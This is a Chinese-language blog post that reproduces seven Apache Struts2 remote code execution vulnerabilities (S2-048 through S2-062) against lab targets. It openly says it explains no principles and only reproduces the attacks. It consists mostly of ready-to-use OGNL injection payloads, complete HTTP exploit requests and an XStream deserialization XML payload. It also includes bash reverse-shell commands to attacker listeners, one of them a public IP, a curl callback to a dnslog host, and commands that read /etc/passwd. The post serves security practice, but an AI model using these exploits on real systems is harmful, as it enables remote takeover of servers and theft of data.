Struts2系列漏洞复现
Struts2系列漏洞复现

Struts2系列漏洞复现

内容:
Struts2-048(CVE-2017-9791)
Struts2-052(CVE-2017-9805)
Struts2-053(CVE-2017-12611)
Struts2-057(CVE-2018-11776)
Struts2-059(CVE-2019-0230)
Struts2-061(CVE-2020-17530)
Struts2-062(CVE-2021-31805)

没有原理只有漏洞复现

Struts2-059(CVE-2019-0230)

复现靶场vulhub/struts2:2.5.16

将EXP1进行url编码后传递给id(在发送EXP2前一定要先发送EXP1)

%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

将EXP2url编码后传递给id,exec(”)内是要执行的代码

%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}

成功创建文件

尝试连接反弹shell
nc -lvnp 7777 建立监听

将反弹shell
/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/7777 0>&1"
做一些转换避免传输时发生错误网站

进行url插入到EXP中进行url编码

发送

收到反弹shell

Struts2-061(CVE-2020-17530)

复现靶场vulhub/struts2:2.5.25

EXP

POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/passwd")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--


获取反弹shell
nc -lvnp 7777 //建立监听
对反弹shell
/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/7777 0>&1"
进行转换避免传输时错误网站

成功收到反弹shell

Struts2-062(CVE-2021-31805)

复现靶场vulhub/struts2:2.5.25

EXP

POST /index.action HTTP/1.1
Host: 10.10.10.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1111

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

burpsuite发送成功到运行结果

获取反弹shell
nc -lvnp 7777 //建立监听
对反弹shell
/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/7777 0>&1"
进行转换避免传输时错误网站

burpsuite发送

成功收到反谈shell

Struts2-057(CVE-2018-11776)

复现靶场是vulfocus的CVE-2018-11776

具体受影响版本为Struts 2.3.0至2.3.34和Struts 2.5.0至2.5.16

测试poc
http://ip/struts2-showcase/${(111+111)}/actionChain1.action

如果${(111+111)}中数值被计算就说明了可以被执行,可以可以发现发送后的poc被计算了,说明存在Struts2-057漏洞

跳转后发生了两个变化一个是${(111+111)}变成了222,一个是actionChain1.action变成的register2.action

接下来把poc替换成能够引导系统命令执行的代码就行就行
EXP:其中exec(‘ ‘)中的内容就是要执行的代码

/struts2-showcase/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action

不过在使用前要先进行url编码

命令成功执行

Struts2-053(CVE-2017-12611)

复现靶场是vulfocus的CVE-2017-12611

CVE-2017-12611是一个影响Apache Struts 2的远程代码执行漏洞。这个漏洞是由于Struts 2在使用Freemarker模板引擎时,同时允许解析OGNL表达式导致的。通常情况下,用户输入的数据本身不会被OGNL解析,但当Freemarker对输入数据进行解析后,数据变成了一个表达式,这个表达式随后会被OGNL再次解析,从而可能导致任意命令执行漏洞。

受影响的版本

Struts 2.0.1-struts 2.3.33
Struts 2.5-Struts 2.5.10

漏洞一般出现在与用户有交互且使用了Freemarker模板引擎的服务版本中

POC/EXP

将cmd部分换成要执行的命令就行

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

成功执行

输入如下指令查找flag:
find / -name “flag*” 2>/dev/bull

Struts2-052(CVE-2017-9805

复现靶场是vulfocus的CVE-2017-9805

CVE-2017-9805是一个被归类为严重的安全漏洞,它影响Apache Struts 2的REST插件。这个漏洞是由于在使用XStream组件进行XML数据包反序列化时,未对数据内容进行有效验证,从而可能允许远程攻击者执行任意代码

影响范围

Struts 2.1.2至Struts 2.3.33版本
Struts 2.5至Struts 2.5.12版本

访问到靶场页面

burpsuite抓包

再次刷新页面,将抓到的包改成POST发送,并且将Content-Type改成Content-Type: application/xml

注意该漏洞没有执行结果回显,但是又显著的页面500特征,下面也演示了利用dnslog验证漏洞

POC

command内是要执行的命令

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
<command>
<string>curl</string>  
<string>http://xlxnpo.dnslog.cn/</string>
</command> 
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

完整的请求

POST /orders HTTP/1.1
Host: 218.244.156.94:14866
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://218.244.156.94:14866/orders/new
Connection: close
Cookie: JSESSIONID=3EDFEF57D775E5AC03738398F2F8E78E
Upgrade-Insecure-Requests: 1
If-None-Match: 1297469393
Content-Type: application/xml
Content-Length: 1984

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
<command>
<string>curl</string>  
<string>http://xlxnpo.dnslog.cn/</string>
</command> 
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

这是poc执行后的页面

dnslog有反应

也可以尝试用vps监听反弹shell建立连接

<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/ip/port 0>&amp;1</string>
</command>

拿到flag

Struts2-048(CVE-2017-9791)

Struts2-048(CVE-2017-9791)是一个影响Apache Struts 2框架的安全漏洞。这个漏洞存在于Struts 2.3.x版本中,特别是当与Struts 1插件一起使用时。漏洞的根源在于Struts 2框架中的Action Message类,当Struts 2应用使用了Struts 1的插件,且在处理用户输入时,Action Message类中的getText方法可能会将输入错误地当作OGNL表达式执行。攻击者可以通过构建OGNL表达式利用该漏洞实现远程代码执行

影响范围

Apache Struts 2.3.x系列

漏洞复现

漏洞复现的过程通常涉及访问特定的URL路径:/integration/saveGangster.action,并构造特定的payload。这个payload会利用Struts 1插件中的漏洞,通过OGNL表达式执行远程代码。

访问/integration/saveGangster.action测试
加入ognl表达式是否可以执行

回显

EXP:exec(”)内是可执行的代码

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

将输入内容替换成EXP成功执行命令

ls的时候出现报错,有无法解析的字符串

换条payload

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

获取到flag

试试能不能反弹shell

先在vps建立监听
nc -lvnp 7777

执行反弹shell
/bin/bash -c "bash -i >& /dev/tcp/218.244.156.94/7777 0>&1"

成功收到反弹shell

2条评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注